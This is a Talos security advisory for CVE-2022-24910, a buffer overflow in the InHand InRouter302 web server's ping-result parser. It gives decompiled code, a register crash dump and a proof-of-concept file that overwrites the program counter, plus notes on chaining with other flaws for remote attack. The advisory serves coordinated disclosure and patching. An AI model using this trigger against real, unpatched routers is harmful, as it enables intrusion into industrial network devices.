Talos Vulnerability Report

TALOS-2022-1471

InHand Networks InRouter302 httpd parse_ping_result API buffer overflow vulnerability

MAY 10, 2022

CVE NUMBER

CVE-2022-24910

Summary

A buffer overflow vulnerability exists in the httpd parse_ping_result API functionality of InHand Networks InRouter302 V3.5.4. A specially-crafted file can lead to remote code execution. An attacker can send a sequence of requests to trigger this vulnerability.

Tested Versions

InHand Networks InRouter302 V3.5.4

Product URLs

InRouter302 - https://www.inhandnetworks.com/products/inrouter300.html

CVSSv3 Score

8.2 - CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H 9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - chain: TALOS-2022-1472, TALOS-2022-1468
CWE

CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)

Details

The InRouter302 is an industrial LTE router. It features remote management functionalities and several security protection mechanism, such as: VPN technologies, firewall functionalities, authorization management and several other features.

The inRouter302 has a web server that listen at port 4444. This specific port, allegedly, is used for API services. The main difference between this port and the 80 and/or 443 is that the responses of the server, allegedly, will not have HTML in the response for requests received at port 4444. The web server, when receiving a request at port 4444, has at least one functionality more than the other two ports. Indeed in the `apply.cgi` there is a specific check that allows different actions if the request was received at port 4444:

```
void apply.cgi(void)

{
[...]
  _reboot = (char *)webcgi_safeget("_reboot","0");
  rboot = atoi(_reboot);
  if (rboot == 0) {
    [...]
    }
  }
  else {
    _reboot = "";
    if (gl_server_port == 4444) {
[1]
      action_name = "action_start";
      ping_test_cursor = pingtest_api;
      do {
        action_name = (char *)webcgi_safeget(action_name,"error");
        is_PING_Test = strcmp(action_name,"PING_Test");
[2]
        if (is_PING_Test == 0) {
          http_api_success = 2;
          if (ping_test_cursor->exec == (exec *)0x0) {
            http_api_success = 2;
            return;
          }
          (*ping_test_cursor->exec)();
[3]
          return;
        }
        ping_test_cursor = ping_test_cursor + 1;
        action_name = ping_test_cursor->name;
      } while (action_name != (char *)0x0);
    }
  }
  [...]
}
```

In this function it is first checked, at `[1]`, if the request was received at port 4444. Then an array of structure is parsed. The structure is composed of two fields:

```
char *name: the functionality name
code *exec: the function pointer
```

If in the request there was the `action_result` parameter, and its value was `PING_Test`, checked at `[2]`, then at `[3]` the `ping_action_result_API` function is called:

```
void ping_action_result_API(void)

{
  int iVar1;

  iVar1 = pidof("ping");
  if (iVar1 == -1) {
    iVar1 = pidof("ping_timer");
    if (iVar1 == -1) {
      parse_ping_result();
      return;
    }
  }
  _web_printf(0,"PENDING\r\n");
  return;
} This function checks if no processes named `ping` and `ping_timer` exist, and then
calls the `parse_ping_result` function:

undefined4 parse_ping_result(void)

{
  [...]
  fd = fopen("/tmp/ping_result.txt","r");
[4]
  if (fd == (FILE *)0x0) {
    [...]
  }
  else {
    [...]
    fgets(first_line,0x20,fd);
    fgets(second_line,0x20,fd);
    while( true ) {
      n_read = fgets(chunk_of_file,0x100,fd);
      if (n_read == (char *)0x0) break;
      n_read = strstr(chunk_of_file,"statistics");
      if (n_read != (char *)0x0) {
        fgets(chunk_of_file,0x100,fd);
[5]
        sscanf(
                chunk_of_file,"%s%*s%*s%s%*s%*s%s",
                &packets-trasmitted,&packets-received,&packet-loss-rate
        );
[6]
        [...]
      }
    }
    [...]
  }
  [...]
}
```

This function will open, at `[4]`, the file located at `/tmp/ping_result.txt`, allegedly created by a previous request. It then reads the first two lines of the file and enters a while loop. The loop starts by reading one line; if it contains the string `statistics` then a second one, at `[5]`, is read and parsed at `[6]` by `sscanf`. The line parsed with

`sscanf` at `[6]` can be up to 256 bytes, but the three buffers used are only 32 bytes each. If an attacker is able to manipulate the content of the `/tmp/ping_result.txt` file and then call the `apply.cgi` API with the parameter `parse_ping_result=PING_Test`, then a buffer overflow would occur and can lead to remote code execution.

Note that, while this issue requires the most privileged logged-in user, it's possible to use TALOS-2022-1472 to perform this API starting from a low-privileged user. Furthermore, is possible to use TALOS-2022-1468 to upload the `/tmp/ping_result.txt` file, making this attack remote. In this case, the actual chained CVSS score would be 9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.

Crash Information

```
$zero: 0x0
$at  : 0x7faafd6e  →  0x00000000
$v0  : 0x0
$v1  : 0x1
$a0  : 0x77b581d8  →  0x00000000
$a1  : 0x1
$a2  : 0x77b56300  →  0x00000000
$a3  : 0x1
$t0  : 0x004820d0  →  0x00000069 ("i"?)
$t1  : 0x43
$t2  : 0xc2c2d
$t3  : 0x442
$t4  : 0x40000000
$t5  : 0x40000000
$t6  : 0x0
$t7  : 0x0
$s0  : 0x6261616c ("laab"?)
$s1  : 0x6261616d ("maab"?)
$s2  : 0x6261616e ("naab"?)
$s3  : 0x6261616f ("oaab"?)
$s4  : 0x62616170 ("paab"?)
$s5  : 0x62616171 ("qaab"?)
$s6  : 0x62616172 ("raab"?)
$s7  : 0x62616173 ("saab"?)
$t8  : 0x0
$t9  : 0x77b861dc  →   lui gp, 0x2
$k0  : 0x1
$k1  : 0x0
$s8  : 0x62616174 ("taab"?)
$pc  : 0x62616175 ("uaab"?)
$sp  : 0x7faafe50  →  "vaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaacia[...]"
$hi  : 0x70b0
$lo  : 0xb5000000
$fir : 0x0
$ra  : 0x62616175 ("uaab"?)
$gp  : 0x77b5e430  →   sw gp, 24(sp)
──────────────────────────────────────────────────────────────────────────────
──────────────────────── stack ────
0x7faafe50|+0x0000: "vaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaacia[...]"    ←
$sp
0x7faafe54|+0x0004: "waabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacja[...]"
0x7faafe58|+0x0008: "xaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaacka[...]"
0x7faafe5c|+0x000c: "yaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaacla[...]"
0x7faafe60|+0x0010: "zaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacma[...]"
0x7faafe64|+0x0014: "baaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacna[...]"
0x7faafe68|+0x0018: "caacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaa"
0x7faafe6c|+0x001c: "daaceaacfaacgaachaaciaacjaackaaclaacmaacnaa"
──────────────────────────────────────────────────────────────────────────────
──────────────────────── code:mips:MIPS32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x62616174
──────────────────────────────────────────────────────────────────────────────
──────────────────────── threads ────
[#0] Id 1, stopped 0x62616175 in ?? (), reason: SIGSEGV
```

Exploit Proof of Concept

If the `/tmp/ping_result.txt` file has the following content:

```
FIRST
SECOND
statistics
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaa
vaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaab
raabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaac
naac ignored ignored parsed ignored ignored parsed
OTHER
```

Then, when the web server would receive a request for the `apply.cgi` API at port 4444 with the parameter `parse_ping_result=PING_Test`, the crash show in `Crash Information` would occur.

Vendor Response

The vendor has updated their website and uploaded the latest firmware on it. https://inhandnetworks.com/product-security-advisories.html https://www.inhandnetworks.com/products/inrouter300.html#link4

https://www.inhandnetworks.com/upload/attachment/202205/10/InHand-PSA-2022-01.pdf

Timeline

2022-03-02 - Vendor Disclosure
2022-05-10 - Public Release
2022-05-10 - Vendor Patch Release

CREDIT

Discovered by Francesco Benvenuto of Cisco Talos.
